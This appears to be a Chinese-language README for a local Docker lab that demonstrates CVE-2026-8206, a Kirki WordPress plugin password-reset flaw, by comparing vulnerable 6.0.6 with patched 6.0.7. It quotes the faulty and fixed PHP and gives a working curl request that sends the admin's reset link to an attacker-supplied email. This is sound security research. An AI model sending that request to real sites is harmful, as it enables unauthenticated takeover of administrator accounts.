用于演示 Kirki WordPress 插件中 CVE-2026-8206 的本地 Docker 实验环境。
此仓库对比了真实 Kirki 插件的两个版本：
vuln：Kirki 6.0.6patched：Kirki 6.0.7实验环境仅在本地运行，将 WordPress 服务绑定到 127.0.0.1。
PoC 的危害最小化：它请求一个密码重置，并验证实验环境内捕获的电子邮件收件人。它不会更改任何密码。
CVE-2026-8206 是 Kirki 版本 6.0.0 至 6.0.6 中的一个未认证帐户接管/权限提升漏洞。
有漏洞的密码重置处理器会为通过 username 选定的真实 WordPress 用户创建一个重置密钥，但将重置电子邮件发送到请求中提供的任意电子邮件地址。
在本实验环境中：
vulnerable => 管理员的重置链接被发送至 [email protected]
patched => 不匹配的电子邮件被拒绝，不会向 [email protected] 发送重置邮件
6.0.0 至 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
有漏洞的处理程序位于：
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki 从请求体中读取攻击者提供的电子邮件：
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
然后它通过用户名解析目标 WordPress 用户，并为该用户创建密码重置密钥：
$key = get_password_reset_key( $user );
但最终的重置邮件被发送到请求中提供的 $email：
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
这破坏了帐户身份与重置邮件收件人之间的信任边界。 一个未认证的请求者可以提供：
username=admin
[email protected]
重置密钥属于 admin，但邮件被发送到攻击者控制的地址。
Kirki 6.0.7 验证提供的电子邮件是否与解析出的用户的注册电子邮件一致，然后在发送前强制收件人为帐户电子邮件：
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// 拒绝请求
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
本地邮件被捕获到文件中，而不是外部发送：
artifacts/vuln-mail/
artifacts/patched-mail/
实验环境使用通过 WP-CLI 安装的真实 Kirki 插件版本。插件源代码未被修改。
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requests 包如果需要，安装 Python 依赖：
python3 -m pip install requests
启动容器：
docker compose up -d --build
初始化两个 WordPress 实例：
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
运行 PoC：
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
预期结果：
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
这证明有漏洞版本将目标帐户的密码重置邮件发送到了攻击者控制的地址。
预期结果：
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
这证明已修补版本拒绝了用户名/电子邮件不匹配，并且没有向攻击者控制的地址发送重置邮件。
在有漏洞的实验环境中创建正确的 Kirki 元素 nonce：
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
向有漏洞的服务发送仅本地的请求：
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
检查捕获的邮件：
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
预期漏洞证据：
To: [email protected]
... action=rp ... login=admin ...
本实验环境仅用于本地安全研究和作品展示。
防护措施：
127.0.0.1。docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail
| 服务 | 用途 | 主机 URL |
|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | 有漏洞 WordPress 的 MySQL | 仅 Docker 网络 |
db_patched | 已修补 WordPress 的 MySQL | 仅 Docker 网络 |
wpcli_vuln | 初始化有漏洞的 WordPress | 一次性设置 |
wpcli_patched | 初始化已修补的 WordPress | 一次性设置 |